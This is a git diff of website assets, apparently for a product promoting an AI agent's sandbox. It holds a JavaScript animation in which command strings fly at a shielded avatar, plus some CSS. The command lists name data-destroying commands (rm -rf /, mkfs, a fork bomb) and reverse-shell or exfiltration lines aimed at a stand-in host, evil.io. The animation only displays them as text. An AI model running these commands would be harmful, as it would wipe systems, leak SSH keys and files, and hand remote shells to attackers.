0% { opacity: 0.75; transform: translate(-50%, -50%) scale(0.3); }
|
||||||
|
100% { opacity: 0; transform: translate(-50%, -50%) scale(1.35); }
|
||||||
|
}
|
||||||
|
|
||||||
375
website-design/exp/site-assets/anim-sandbox.js
Normal file
@ -0,0 +1,375 @@
|
|||||||
|
/* 沙箱与网络授权动画 —— 可复用模块(主页 feature 行 / anim2-demo 页共用)
|
||||||
|
* AnimSandbox.init(container):在容器内建 DOM 并自动无限循环播放——
|
||||||
|
* 每轮随机 20 条恶意命令(15 短 + 5 长),弹道参数全随机(角度/速度/弧度各异),
|
||||||
|
* 抛向持盾智能体,撞击后字符炸开飞散。无按钮、无说明行。
|
||||||
|
*/
|
||||||
|
window.AnimSandbox = (function () {
|
||||||
|
'use strict';
|
||||||
|
|
||||||
|
function init(container) {
|
||||||
|
container.innerHTML =
|
||||||
|
'<div class="anim2-window">' +
|
||||||
|
'<div class="anim2-stage">' +
|
||||||
|
'<div class="defender">' +
|
||||||
|
'<span class="defender-avatar"></span>' +
|
||||||
|
'<svg class="defender-shield" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true">' +
|
||||||
|
'<path d="M20 13c0 5-3.5 7.5-7.66 8.95a1 1 0 0 1-.67-.01C7.5 20.5 4 18 4 13V6a1 1 0 0 1 1-1c2 0 4.5-1.2 6.24-2.72a1.17 1.17 0 0 1 1.52 0C14.51 3.81 17 5 19 5a1 1 0 0 1 1 1z"/>' +
|
||||||
|
'</svg>' +
|
||||||
|
'</div>' +
|
||||||
|
'<div class="impact-ring" aria-hidden="true"></div>' +
|
||||||
|
'</div>' +
|
||||||
|
'</div>';
|
||||||
|
|
||||||
|
var stage = container.querySelector('.anim2-stage');
|
||||||
|
var defender = container.querySelector('.defender');
|
||||||
|
var shield = container.querySelector('.defender-shield');
|
||||||
|
var ring = container.querySelector('.impact-ring');
|
||||||
|
|
||||||
|
// 挂载六边形眼睛(眨眼 + 追踪)
|
||||||
|
if (window.AstrionAvatar) {
|
||||||
|
AstrionAvatar.mount(container.querySelector('.defender-avatar'), { mode: 'idle', blink: true, track: true });
|
||||||
|
}
|
||||||
|
|
||||||
|
var gen = 0;
|
||||||
|
|
||||||
|
/* rAF 累计「可见时间」的等待:后台标签页 rAF 暂停,流程随之冻结,恢复时从冻结点继续——
|
||||||
|
setTimeout 在后台只是降频不会停,会攒动画导致恢复瞬间全部放完 */
|
||||||
|
function rafWait(ms) {
|
||||||
|
return new Promise(function (resolve) {
|
||||||
|
var acc = 0, last = performance.now();
|
||||||
|
function tick(now) {
|
||||||
|
acc += Math.min(now - last, 100); /* 恢复后首帧 dt 巨大,截断防跳变 */
|
||||||
|
last = now;
|
||||||
|
if (acc >= ms) { resolve(); return; }
|
||||||
|
requestAnimationFrame(tick);
|
||||||
|
}
|
||||||
|
requestAnimationFrame(tick);
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
async function step(ms, myGen) {
|
||||||
|
await rafWait(ms);
|
||||||
|
if (myGen !== gen) throw new Error('cancelled');
|
||||||
|
}
|
||||||
|
|
||||||
|
function el(tag, cls, text) {
|
||||||
|
var e = document.createElement(tag);
|
||||||
|
if (cls) e.className = cls;
|
||||||
|
if (text != null) e.textContent = text;
|
||||||
|
return e;
|
||||||
|
}
|
||||||
|
|
||||||
|
/** rAF 逐帧,返回 false 停止。gen 变了自动停。 */
|
||||||
|
function eachFrame(fn, myGen) {
|
||||||
|
return new Promise(function (resolve) {
|
||||||
|
var last = performance.now();
|
||||||
|
function tick(now) {
|
||||||
|
if (myGen !== gen) { resolve(); return; }
|
||||||
|
var dt = Math.min((now - last) / 1000, 0.05);
|
||||||
|
last = now;
|
||||||
|
if (fn(dt) === false) { resolve(); return; }
|
||||||
|
requestAnimationFrame(tick);
|
||||||
|
}
|
||||||
|
requestAnimationFrame(tick);
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
function stageRect() { return stage.getBoundingClientRect(); }
|
||||||
|
|
||||||
|
/** 盾牌中心(stage 相对坐标) */
|
||||||
|
function shieldCenter() {
|
||||||
|
var sr = stageRect();
|
||||||
|
var r = shield.getBoundingClientRect();
|
||||||
|
return { x: r.left - sr.left + r.width / 2, y: r.top - sr.top + r.height / 2, left: r.left - sr.left };
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ── 单个命令:出场摆角 → 蓄力后拉 → 松手发射(角度全程跟随轨迹切线) ── */
|
||||||
|
|
||||||
|
async function fire(cmd, opts, myGen) {
|
||||||
|
var block = el('div', 'cmd-projectile', cmd);
|
||||||
|
stage.appendChild(block);
|
||||||
|
var w = block.offsetWidth;
|
||||||
|
var h = block.offsetHeight;
|
||||||
|
var offsets = measureChars(block); // 未旋转时测,供碎裂时对齐
|
||||||
|
var G = opts.g || 620; // 每条命令重力不同 → 弧线形状不同
|
||||||
|
|
||||||
|
var shieldC = shieldCenter();
|
||||||
|
shieldC.y += opts.aim || 0;
|
||||||
|
|
||||||
|
var start = { x: 14, y: opts.startY };
|
||||||
|
var vx = opts.vx;
|
||||||
|
|
||||||
|
// 先以出场位粗解发射角 → 定蓄力后拉方向
|
||||||
|
var Tc0 = (shieldC.x - (start.x + w / 2)) / vx;
|
||||||
|
var vyEst = ((shieldC.y - (start.y + h / 2)) - 0.5 * G * Tc0 * Tc0) / Tc0;
|
||||||
|
var rad0 = Math.atan2(vyEst, vx);
|
||||||
|
var pullDist = 22;
|
||||||
|
var pullX = start.x - Math.cos(rad0) * pullDist;
|
||||||
|
var pullY = start.y - Math.sin(rad0) * pullDist;
|
||||||
|
|
||||||
|
// 轨迹起点 = 蓄力位
|
||||||
|
var ox = pullX;
|
||||||
|
var oy = pullY;
|
||||||
|
var ocx = ox + w / 2;
|
||||||
|
var ocy = oy + h / 2;
|
||||||
|
|
||||||
|
// 最右字符在块内(未旋转)相对块中心的偏移
|
||||||
|
var lxLast, lyLast;
|
||||||
|
if (offsets && offsets.length) {
|
||||||
|
var lo = offsets[offsets.length - 1];
|
||||||
|
lxLast = lo.x + lo.w / 2 - w / 2;
|
||||||
|
lyLast = lo.y + lo.h / 2 - h / 2;
|
||||||
|
} else {
|
||||||
|
lxLast = w / 2;
|
||||||
|
lyLast = 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 求解 vy0:让最右字符(不是块中心)精确扫过盾心。
|
||||||
|
// 块在飞行中旋转,字符轨迹会偏离中心轨迹,所以迭代补偿瞄准点。
|
||||||
|
var Tc = (shieldC.x - ocx) / vx;
|
||||||
|
var aimY = shieldC.y;
|
||||||
|
var vy0 = 0;
|
||||||
|
var hit = null;
|
||||||
|
for (var iter = 0; iter < 3; iter++) {
|
||||||
|
vy0 = ((aimY - ocy) - 0.5 * G * Tc * Tc) / Tc;
|
||||||
|
var best = { d: 1e9, t: Tc, ang: 0, py: 0 };
|
||||||
|
for (var t = 0.004; t < 6; t += 0.004) {
|
||||||
|
var rr = Math.atan2(vy0 + G * t, vx);
|
||||||
|
var cosR = Math.cos(rr);
|
||||||
|
var sinR = Math.sin(rr);
|
||||||
|
var ccx = ocx + vx * t;
|
||||||
|
var ccy = ocy + vy0 * t + 0.5 * G * t * t;
|
||||||
|
// 最右字符的舞台位置 = 块中心 + 块内偏移绕中心旋转
|
||||||
|
var fx = ccx + lxLast * cosR - lyLast * sinR;
|
||||||
|
var fy = ccy + lxLast * sinR + lyLast * cosR;
|
||||||
|
var ddx = fx - shieldC.x;
|
||||||
|
var ddy = fy - shieldC.y;
|
||||||
|
var dd = Math.sqrt(ddx * ddx + ddy * ddy);
|
||||||
|
if (dd < best.d) best = { d: dd, t: t, ang: rr * 57.3, py: fy };
|
||||||
|
if (fx > shieldC.x + 80) break; // 已飞过盾牌
|
||||||
|
}
|
||||||
|
hit = { t: best.t, ang: best.ang };
|
||||||
|
if (best.d <= 4) break;
|
||||||
|
aimY += shieldC.y - best.py; // 垂直方向补偿落点偏差
|
||||||
|
}
|
||||||
|
var angle0 = Math.atan2(vy0, vx) * 57.3; // 发射仰角(负值 = 朝上)
|
||||||
|
|
||||||
|
// 出场:直接在起点摆好仰角
|
||||||
|
block.style.transform = 'translate(' + start.x + 'px,' + start.y + 'px) rotate(' + angle0.toFixed(1) + 'deg)';
|
||||||
|
await step(240, myGen);
|
||||||
|
|
||||||
|
// 蓄力:沿发射反方向后拉,像拉满的弹弓(方向随每条命令的弹道而不同)
|
||||||
|
block.style.transition = 'transform 0.45s cubic-bezier(.6,-0.15,.7,.3)';
|
||||||
|
block.style.transform = 'translate(' + pullX + 'px,' + pullY + 'px) rotate(' + angle0.toFixed(1) + 'deg)';
|
||||||
|
await step(460, myGen);
|
||||||
|
block.style.transition = 'none';
|
||||||
|
|
||||||
|
// 逐帧渲染:每帧位置由解析式直接算出(不是积分模拟),到预计算的撞击时刻碎裂
|
||||||
|
var elapsed = 0;
|
||||||
|
await eachFrame(function (dt) {
|
||||||
|
elapsed += dt;
|
||||||
|
if (elapsed >= hit.t) return false;
|
||||||
|
var px = ox + vx * elapsed;
|
||||||
|
var py = oy + vy0 * elapsed + 0.5 * G * elapsed * elapsed;
|
||||||
|
var ang = Math.atan2(vy0 + G * elapsed, vx) * 57.3;
|
||||||
|
block.style.transform = 'translate(' + px.toFixed(1) + 'px,' + py.toFixed(1) + 'px) rotate(' + ang.toFixed(1) + 'deg)';
|
||||||
|
return true;
|
||||||
|
}, myGen);
|
||||||
|
if (myGen !== gen) throw new Error('cancelled');
|
||||||
|
|
||||||
|
// 定格在预计算的撞击位形上碎裂:最右字符正好到达盾心
|
||||||
|
var hitX = ox + vx * hit.t;
|
||||||
|
var hitY = oy + vy0 * hit.t + 0.5 * G * hit.t * hit.t;
|
||||||
|
block.style.transform = 'translate(' + hitX.toFixed(1) + 'px,' + hitY.toFixed(1) + 'px) rotate(' + hit.ang.toFixed(1) + 'deg)';
|
||||||
|
impactFX();
|
||||||
|
shatter(block, hitX, hitY, hit.ang, w, h, offsets);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ── 无限循环:每轮随机 20 条(15 短 + 5 长),随机弹道射向盾牌 ── */
|
||||||
|
|
||||||
|
// 场景切换时 fire 的取消错误就地吞掉,避免 unhandled rejection 污染控制台
|
||||||
|
function swallowCancel(e) {
|
||||||
|
if (e && e.message !== 'cancelled') throw e;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* 短命令池(长度对齐原沙箱情节的 rm -rf / · del /f /s /q C:\ · mkfs /dev/sda1) */
|
||||||
|
var SHORT_CMDS = [
|
||||||
|
'rm -rf /',
|
||||||
|
'del /f /s /q C:\\',
|
||||||
|
'mkfs /dev/sda1',
|
||||||
|
'sudo rm -rf ~',
|
||||||
|
'format C:\\',
|
||||||
|
'chmod -R 777 /',
|
||||||
|
'wipefs -a /dev/sdb',
|
||||||
|
':(){:|:&};:',
|
||||||
|
'rm -rf /home',
|
||||||
|
'rd /s /q C:\\',
|
||||||
|
'dd of=/dev/sda',
|
||||||
|
'rm -rf /usr',
|
||||||
|
'fdisk /dev/sda',
|
||||||
|
'shutdown -h now',
|
||||||
|
'mkfs.ext4 /dev/sdb'
|
||||||
|
];
|
||||||
|
/* 长命令池(长度对齐原网络情节的 curl/scp 外传命令) */
|
||||||
|
var LONG_CMDS = [
|
||||||
|
'curl -T 数据.zip evil.io',
|
||||||
|
'scp ~/.ssh/id_rsa evil.io',
|
||||||
|
'curl -T C:\\pw.xlsx evil.io',
|
||||||
|
'nc evil.io 4444 -e /bin/sh',
|
||||||
|
'curl evil.io/x.sh | bash',
|
||||||
|
'wget evil.io/m -O- | sh',
|
||||||
|
'tar czf - ~ | nc evil.io 4444'
|
||||||
|
];
|
||||||
|
|
||||||
|
function rand(a, b) { return a + Math.random() * (b - a); }
|
||||||
|
function shuffled(arr) {
|
||||||
|
var a = arr.slice();
|
||||||
|
for (var i = a.length - 1; i > 0; i--) {
|
||||||
|
var j = Math.floor(Math.random() * (i + 1));
|
||||||
|
var t = a[i]; a[i] = a[j]; a[j] = t;
|
||||||
|
}
|
||||||
|
return a;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* 一轮 20 条:短池抽 15 + 长池抽 5,合并乱序;
|
||||||
|
弹道参数全随机(起点高度/水平初速/重力/瞄点微调)→ 每条弧线角度都不同 */
|
||||||
|
function pickCommands() {
|
||||||
|
var picks = shuffled(SHORT_CMDS).slice(0, 15).concat(shuffled(LONG_CMDS).slice(0, 5));
|
||||||
|
return shuffled(picks).map(function (cmd) {
|
||||||
|
return {
|
||||||
|
cmd: cmd,
|
||||||
|
startY: rand(70, 230),
|
||||||
|
vx: rand(190, 430),
|
||||||
|
g: rand(430, 780),
|
||||||
|
aim: rand(-9, 12) /* 随盾牌等比(原 -12~16 × 0.729) */
|
||||||
|
};
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
async function loopForever(myGen) {
|
||||||
|
while (myGen === gen) {
|
||||||
|
var cmds = pickCommands();
|
||||||
|
for (var i = 0; i < cmds.length; i++) {
|
||||||
|
fire(cmds[i].cmd, cmds[i], myGen).catch(swallowCancel);
|
||||||
|
await step(rand(560, 860), myGen); /* 错落节奏:前一个刚出手,下一个开始蓄力 */
|
||||||
|
}
|
||||||
|
await step(600, myGen); /* 轮间稍停 */
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ── 撞击:碎裂字符粒子 + 冲击环 + 防御者后坐 ── */
|
||||||
|
|
||||||
|
/** 测量每个字符相对块左上角的精确偏移(未旋转时测,Range 天然处理中文宽度) */
|
||||||
|
function measureChars(block) {
|
||||||
|
var tn = block.firstChild;
|
||||||
|
if (!tn || tn.nodeType !== 3) return null;
|
||||||
|
var br = block.getBoundingClientRect();
|
||||||
|
var range = document.createRange();
|
||||||
|
var offsets = [];
|
||||||
|
for (var i = 0; i < tn.length; i++) {
|
||||||
|
range.setStart(tn, i);
|
||||||
|
range.setEnd(tn, i + 1);
|
||||||
|
var r = range.getBoundingClientRect();
|
||||||
|
offsets.push({ x: r.left - br.left, y: r.top - br.top, w: r.width, h: r.height });
|
||||||
|
}
|
||||||
|
range.detach();
|
||||||
|
return offsets;
|
||||||
|
}
|
||||||
|
|
||||||
|
function shatter(block, hitX, hitY, hitAng, w, h, offsets) {
|
||||||
|
var text = block.textContent;
|
||||||
|
var rad = hitAng / 57.3;
|
||||||
|
var cosA = Math.cos(rad);
|
||||||
|
var sinA = Math.sin(rad);
|
||||||
|
var cx = hitX + w / 2; // 块的旋转中心(transform-origin = 50% 50%)
|
||||||
|
var cy = hitY + h / 2;
|
||||||
|
block.parentNode.removeChild(block);
|
||||||
|
|
||||||
|
var shards = [];
|
||||||
|
for (var i = 0; i < text.length; i++) {
|
||||||
|
var ch = text[i] === ' ' ? '\u00A0' : text[i]; // 空格用 nbsp 保住宽度
|
||||||
|
var s = el('span', 'cmd-shard', ch);
|
||||||
|
stage.appendChild(s);
|
||||||
|
var sw = s.offsetWidth;
|
||||||
|
var sh = s.offsetHeight;
|
||||||
|
// 字符中心在块内(未旋转)相对块中心的偏移
|
||||||
|
var lx, ly;
|
||||||
|
if (offsets && offsets[i]) {
|
||||||
|
lx = offsets[i].x + offsets[i].w / 2 - w / 2;
|
||||||
|
ly = offsets[i].y + offsets[i].h / 2 - h / 2;
|
||||||
|
} else {
|
||||||
|
lx = (i + 0.5) * (w / Math.max(text.length, 1)) - w / 2;
|
||||||
|
ly = 0;
|
||||||
|
}
|
||||||
|
// 绕块中心旋转 hitAng → 字符在舞台上的真实位置,碎片中心对准它
|
||||||
|
var rx = cx + lx * cosA - ly * sinA;
|
||||||
|
var ry = cy + lx * sinA + ly * cosA;
|
||||||
|
var sx0 = rx - sw / 2;
|
||||||
|
var sy0 = ry - sh / 2;
|
||||||
|
var rot0 = hitAng + (Math.random() - 0.5) * 24;
|
||||||
|
// 立即摆到初始位置:否则会在容器左上角以默认位置闪现一帧
|
||||||
|
s.style.transform = 'translate(' + sx0.toFixed(1) + 'px,' + sy0.toFixed(1) + 'px) rotate(' + rot0.toFixed(1) + 'deg)';
|
||||||
|
shards.push({
|
||||||
|
el: s,
|
||||||
|
x: sx0,
|
||||||
|
y: sy0,
|
||||||
|
vx: -(60 + Math.random() * 200), // 向左回弹
|
||||||
|
vy: -(120 + Math.random() * 240), // 向上炸开
|
||||||
|
rot: rot0, // 保持撞击瞬间的角度,加少量随机散开
|
||||||
|
vr: (Math.random() - 0.5) * 900,
|
||||||
|
life: 0,
|
||||||
|
ttl: 0.85 + Math.random() * 0.4
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
var g = 980;
|
||||||
|
eachFrame(function (dt) {
|
||||||
|
var alive = false;
|
||||||
|
for (var i = 0; i < shards.length; i++) {
|
||||||
|
var p = shards[i];
|
||||||
|
if (p.life >= p.ttl) continue;
|
||||||
|
alive = true;
|
||||||
|
p.life += dt;
|
||||||
|
p.x += p.vx * dt;
|
||||||
|
p.y += p.vy * dt;
|
||||||
|
p.vy += g * dt;
|
||||||
|
p.rot += p.vr * dt;
|
||||||
|
var fade = 1 - Math.max(0, (p.life - p.ttl * 0.45) / (p.ttl * 0.55));
|
||||||
|
p.el.style.transform = 'translate(' + p.x.toFixed(1) + 'px,' + p.y.toFixed(1) + 'px) rotate(' + p.rot.toFixed(0) + 'deg)';
|
||||||
|
p.el.style.opacity = Math.max(0, fade).toFixed(2);
|
||||||
|
if (p.life >= p.ttl) p.el.parentNode && p.el.parentNode.removeChild(p.el);
|
||||||
|
}
|
||||||
|
return alive;
|
||||||
|
}, gen); // 粒子循环跟当前 gen,切换时自动停
|
||||||
|
}
|
||||||
|
|
||||||
|
function impactFX() {
|
||||||
|
var c = shieldCenter();
|
||||||
|
ring.style.left = c.x + 'px';
|
||||||
|
ring.style.top = c.y + 'px';
|
||||||
|
ring.classList.remove('is-active');
|
||||||
|
ring.getBoundingClientRect(); // reflow 重置动画
|
||||||
|
ring.classList.add('is-active');
|
||||||
|
|
||||||
|
defender.classList.remove('is-hit');
|
||||||
|
defender.getBoundingClientRect();
|
||||||
|
defender.classList.add('is-hit');
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ── 启动:进入视口后开始无限循环(页面打开时用户可能还没滚到这里,避免错过开场);
|
||||||
|
gen 固定不再递增(无重播入口),粒子/飞行各自的生命周期自清理 ── */
|
||||||
|
var started = false;
|
||||||
|
var io = new IntersectionObserver(function (entries) {
|
||||||
|
if (!started && entries[0].isIntersecting) {
|
||||||
|
started = true;
|
||||||
|
io.disconnect();
|
||||||
|
loopForever(gen).catch(function (e) {
|
||||||
|
if (e && e.message !== 'cancelled') throw e;
|
||||||
|
});
|
||||||
|
}
|
||||||
|
}, { threshold: 0.3 });
|
||||||
|
io.observe(container);
|
||||||
|
}
|
||||||
|
|
||||||
|
return { init: init };
|
||||||
|
})();
|
||||||
278
website-design/exp/site-assets/anim-shared.css
Normal file
@ -0,0 +1,278 @@
|
|||||||
|
/* 运行模式动画 —— 共享样式(主页与 anim-demo 共用)
|
||||||
|
token(--text-1 等)由宿主页面提供。 */
|
||||||
|
|
||||||
|
/* ───────── 动画容器:透明无框,浮在背景上 ───────── */
|
||||||
|
|
||||||
|
.anim-window {
|
||||||
|
position: relative;
|
||||||
|
width: 100%;
|
||||||
|
height: 100%;
|
||||||
|
display: flex;
|
||||||
|
flex-direction: column;
|
||||||
|
overflow: hidden;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* 顶部模式切换 */
|
||||||
|
.anim-topbar {
|
||||||
|
display: flex;
|
||||||
|
gap: 2px;
|
||||||
|
padding: 0 2px 12px;
|
||||||
|
flex: none;
|
||||||
|
}
|
||||||
|
|
||||||
|
.anim-mode-tab {
|
||||||
|
height: 26px;
|
||||||
|
padding: 0 13px;
|
||||||
|
border: 0;
|
||||||
|
border-radius: 6px;
|
||||||
|
background: transparent;
|
||||||
|
color: var(--text-3);
|
||||||
|
font-size: 12.5px;
|
||||||
|
font-family: inherit;
|
||||||
|
cursor: pointer;
|
||||||
|
transition: background-color 0.25s ease, color 0.25s ease;
|
||||||
|
}
|
||||||
|
.anim-mode-tab:hover { color: var(--text-2); }
|
||||||
|
.anim-mode-tab.is-active {
|
||||||
|
background: rgba(169, 194, 240, 0.14);
|
||||||
|
color: var(--accent-strong);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ───────── 消息区 ───────── */
|
||||||
|
|
||||||
|
.anim-chat {
|
||||||
|
flex: 1;
|
||||||
|
padding: 4px 2px;
|
||||||
|
display: flex;
|
||||||
|
flex-direction: column;
|
||||||
|
gap: 10px;
|
||||||
|
overflow: hidden;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* 入场:上浮淡入 */
|
||||||
|
.anim-item {
|
||||||
|
animation: anim-in 0.32s cubic-bezier(0.22, 0.9, 0.3, 1) both;
|
||||||
|
}
|
||||||
|
@keyframes anim-in {
|
||||||
|
from { opacity: 0; transform: translateY(8px); }
|
||||||
|
to { opacity: 1; transform: translateY(0); }
|
||||||
|
}
|
||||||
|
|
||||||
|
/* 用户气泡:右侧 */
|
||||||
|
.msg-user {
|
||||||
|
align-self: flex-end;
|
||||||
|
max-width: 78%;
|
||||||
|
background: var(--accent);
|
||||||
|
color: #0c1120;
|
||||||
|
font-size: 13px;
|
||||||
|
line-height: 1.5;
|
||||||
|
padding: 8px 12px;
|
||||||
|
border-radius: 12px 12px 4px 12px;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* AI 消息:裸文字,无气泡 */
|
||||||
|
.msg-ai {
|
||||||
|
align-self: flex-start;
|
||||||
|
max-width: 92%;
|
||||||
|
color: var(--text-1);
|
||||||
|
font-size: 13px;
|
||||||
|
line-height: 1.65;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* 打字光标 */
|
||||||
|
.type-caret {
|
||||||
|
display: inline-block;
|
||||||
|
width: 7px;
|
||||||
|
height: 14px;
|
||||||
|
margin-left: 2px;
|
||||||
|
vertical-align: -2px;
|
||||||
|
background: var(--accent);
|
||||||
|
animation: caret-blink 0.8s steps(1) infinite;
|
||||||
|
}
|
||||||
|
@keyframes caret-blink { 50% { opacity: 0; } }
|
||||||
|
|
||||||
|
/* 思考:只有三点动画,无文字 */
|
||||||
|
.think-row {
|
||||||
|
align-self: flex-start;
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
|
padding: 6px 0;
|
||||||
|
}
|
||||||
|
.think-dots { display: inline-flex; gap: 5px; }
|
||||||
|
.think-dots i {
|
||||||
|
width: 6px; height: 6px;
|
||||||
|
border-radius: 50%;
|
||||||
|
background: var(--text-2);
|
||||||
|
animation: think-wave 1.2s ease-in-out infinite;
|
||||||
|
}
|
||||||
|
.think-dots i:nth-child(2) { animation-delay: -0.2s; }
|
||||||
|
.think-dots i:nth-child(3) { animation-delay: -0.4s; }
|
||||||
|
@keyframes think-wave {
|
||||||
|
0%, 100% { transform: translateY(0); opacity: 0.5; }
|
||||||
|
50% { transform: translateY(-4px); opacity: 1; }
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ───────── 工具摘要行(主对话极简模式风格) ─────────
|
||||||
|
一行:状态图标 + intent + 关键参数;无框无底,不显示工具名 */
|
||||||
|
.tool-line {
|
||||||
|
align-self: stretch;
|
||||||
|
display: flex;
|
||||||
|
align-items: baseline;
|
||||||
|
gap: 8px;
|
||||||
|
padding: 3px 0;
|
||||||
|
font-size: 12.5px;
|
||||||
|
line-height: 1.5;
|
||||||
|
min-width: 0;
|
||||||
|
}
|
||||||
|
.tool-status {
|
||||||
|
flex: none;
|
||||||
|
width: 13px;
|
||||||
|
display: inline-flex;
|
||||||
|
align-items: center;
|
||||||
|
align-self: center;
|
||||||
|
justify-content: center;
|
||||||
|
/* 状态图标在行尾:左侧是 intent+参数 */
|
||||||
|
order: 3;
|
||||||
|
margin-left: auto;
|
||||||
|
}
|
||||||
|
/* 运行中:转圈 */
|
||||||
|
.tool-line.is-running .tool-status::before {
|
||||||
|
content: "";
|
||||||
|
width: 9px; height: 9px;
|
||||||
|
border-radius: 50%;
|
||||||
|
border: 1.6px solid rgba(168, 180, 210, 0.3);
|
||||||
|
border-top-color: var(--accent);
|
||||||
|
animation: tool-spin 0.7s linear infinite;
|
||||||
|
}
|
||||||
|
@keyframes tool-spin { to { transform: rotate(360deg); } }
|
||||||
|
/* 完成:对勾 */
|
||||||
|
.tool-line.is-done .tool-status::before {
|
||||||
|
content: "✓";
|
||||||
|
color: var(--ok);
|
||||||
|
font-size: 11.5px;
|
||||||
|
font-weight: 700;
|
||||||
|
}
|
||||||
|
.tool-intent {
|
||||||
|
color: var(--text-1);
|
||||||
|
flex: none;
|
||||||
|
}
|
||||||
|
.tool-param {
|
||||||
|
font-family: var(--font-mono);
|
||||||
|
font-size: 11.5px;
|
||||||
|
color: var(--text-3);
|
||||||
|
white-space: nowrap;
|
||||||
|
overflow: hidden;
|
||||||
|
text-overflow: ellipsis;
|
||||||
|
min-width: 0;
|
||||||
|
}
|
||||||
|
.tool-line.is-done .tool-intent { color: var(--text-2); }
|
||||||
|
|
||||||
|
/* ───────── 计划展示:无卡片,裸内容 ───────── */
|
||||||
|
|
||||||
|
.plan-body {
|
||||||
|
align-self: stretch;
|
||||||
|
padding: 2px 0 0;
|
||||||
|
}
|
||||||
|
.plan-title {
|
||||||
|
font-size: 13.5px;
|
||||||
|
font-weight: 620;
|
||||||
|
color: var(--text-1);
|
||||||
|
margin-bottom: 6px;
|
||||||
|
min-height: 20px;
|
||||||
|
}
|
||||||
|
.plan-item {
|
||||||
|
display: flex;
|
||||||
|
gap: 8px;
|
||||||
|
font-size: 12.5px;
|
||||||
|
color: var(--text-2);
|
||||||
|
line-height: 1.6;
|
||||||
|
padding: 1.5px 0;
|
||||||
|
}
|
||||||
|
.plan-item b {
|
||||||
|
color: var(--text-3);
|
||||||
|
font-weight: 500;
|
||||||
|
font-family: var(--font-mono);
|
||||||
|
font-size: 11.5px;
|
||||||
|
margin-top: 1px;
|
||||||
|
flex: none;
|
||||||
|
}
|
||||||
|
.plan-actions {
|
||||||
|
margin-top: 12px;
|
||||||
|
display: flex;
|
||||||
|
gap: 10px;
|
||||||
|
max-height: 40px;
|
||||||
|
overflow: hidden;
|
||||||
|
}
|
||||||
|
.plan-actions.is-gone {
|
||||||
|
/* 与输入栏同理:transition 与入场动画 fill 同帧交互不可靠,退场统一用 keyframes */
|
||||||
|
animation: plan-actions-out 0.35s ease both;
|
||||||
|
}
|
||||||
|
@keyframes plan-actions-out {
|
||||||
|
from { opacity: 1; max-height: 40px; margin-top: 12px; }
|
||||||
|
to { opacity: 0; max-height: 0; margin-top: 0; }
|
||||||
|
}
|
||||||
|
.plan-btn {
|
||||||
|
height: 30px;
|
||||||
|
padding: 0 16px;
|
||||||
|
border-radius: 7px;
|
||||||
|
border: 1px solid var(--line);
|
||||||
|
background: transparent;
|
||||||
|
color: var(--text-2);
|
||||||
|
font-size: 12.5px;
|
||||||
|
font-family: inherit;
|
||||||
|
}
|
||||||
|
.plan-btn.is-primary {
|
||||||
|
background: var(--accent);
|
||||||
|
border-color: transparent;
|
||||||
|
color: #0c1120;
|
||||||
|
font-weight: 600;
|
||||||
|
}
|
||||||
|
.plan-btn.is-pressed { transform: scale(0.93); transition: transform 0.1s ease; }
|
||||||
|
.plan-btn.is-approved {
|
||||||
|
background: transparent;
|
||||||
|
border-color: var(--ok);
|
||||||
|
color: var(--ok);
|
||||||
|
transition: all 0.2s ease;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ───────── 输入栏:直接显示正在输入的内容 ───────── */
|
||||||
|
|
||||||
|
.anim-composer {
|
||||||
|
flex: none;
|
||||||
|
margin: 10px 2px 0;
|
||||||
|
height: 40px;
|
||||||
|
border: 1px solid var(--line);
|
||||||
|
border-radius: 10px;
|
||||||
|
display: none;
|
||||||
|
align-items: center;
|
||||||
|
padding: 0 13px;
|
||||||
|
}
|
||||||
|
.anim-composer.is-visible { display: flex; animation: anim-in 0.32s ease both; }
|
||||||
|
.anim-composer.is-sent {
|
||||||
|
/* 退场用 keyframes:不依赖 transition 与入场动画 fill 值的交互 */
|
||||||
|
animation: composer-out 0.25s ease both;
|
||||||
|
}
|
||||||
|
@keyframes composer-out {
|
||||||
|
from { opacity: 1; transform: none; }
|
||||||
|
to { opacity: 0; transform: translateY(6px); }
|
||||||
|
}
|
||||||
|
.anim-composer-text { font-size: 12.5px; color: var(--text-1); }
|
||||||
|
.anim-composer-caret {
|
||||||
|
width: 1.5px; height: 15px;
|
||||||
|
background: var(--text-2);
|
||||||
|
animation: caret-blink 1s steps(1) infinite;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ───────── 假鼠标指针 ───────── */
|
||||||
|
|
||||||
|
.anim-cursor {
|
||||||
|
position: absolute;
|
||||||
|
left: 0; top: 0;
|
||||||
|
opacity: 0;
|
||||||
|
pointer-events: none;
|
||||||
|
transition: transform 0.7s cubic-bezier(0.3, 0.7, 0.3, 1), opacity 0.25s ease;
|
||||||
|
filter: drop-shadow(0 1px 3px rgba(0, 0, 0, 0.5));
|
||||||
|
}
|
||||||
|
.anim-cursor.is-visible { opacity: 1; }
|
||||||
|
.anim-cursor.is-clicking svg { transform: scale(0.82); transition: transform 0.09s ease; }
|
||||||
|
.anim-cursor svg { display: block; transition: transform 0.12s ease; }
|
||||||
269
website-design/exp/site-assets/anim-version.css
Normal file
@ -0,0 +1,269 @@
|
|||||||
|
/* 版本控制动画 —— 模块样式(主页 feature 行 / anim4-demo 页共用)
|
||||||
|
无边框无底色,融于星空;无 glow。token(--text-1 等)由宿主页面提供。
|
||||||
|
类名一律 anim4- 前缀,避免与 01~03 模块冲突。 */
|
||||||
|
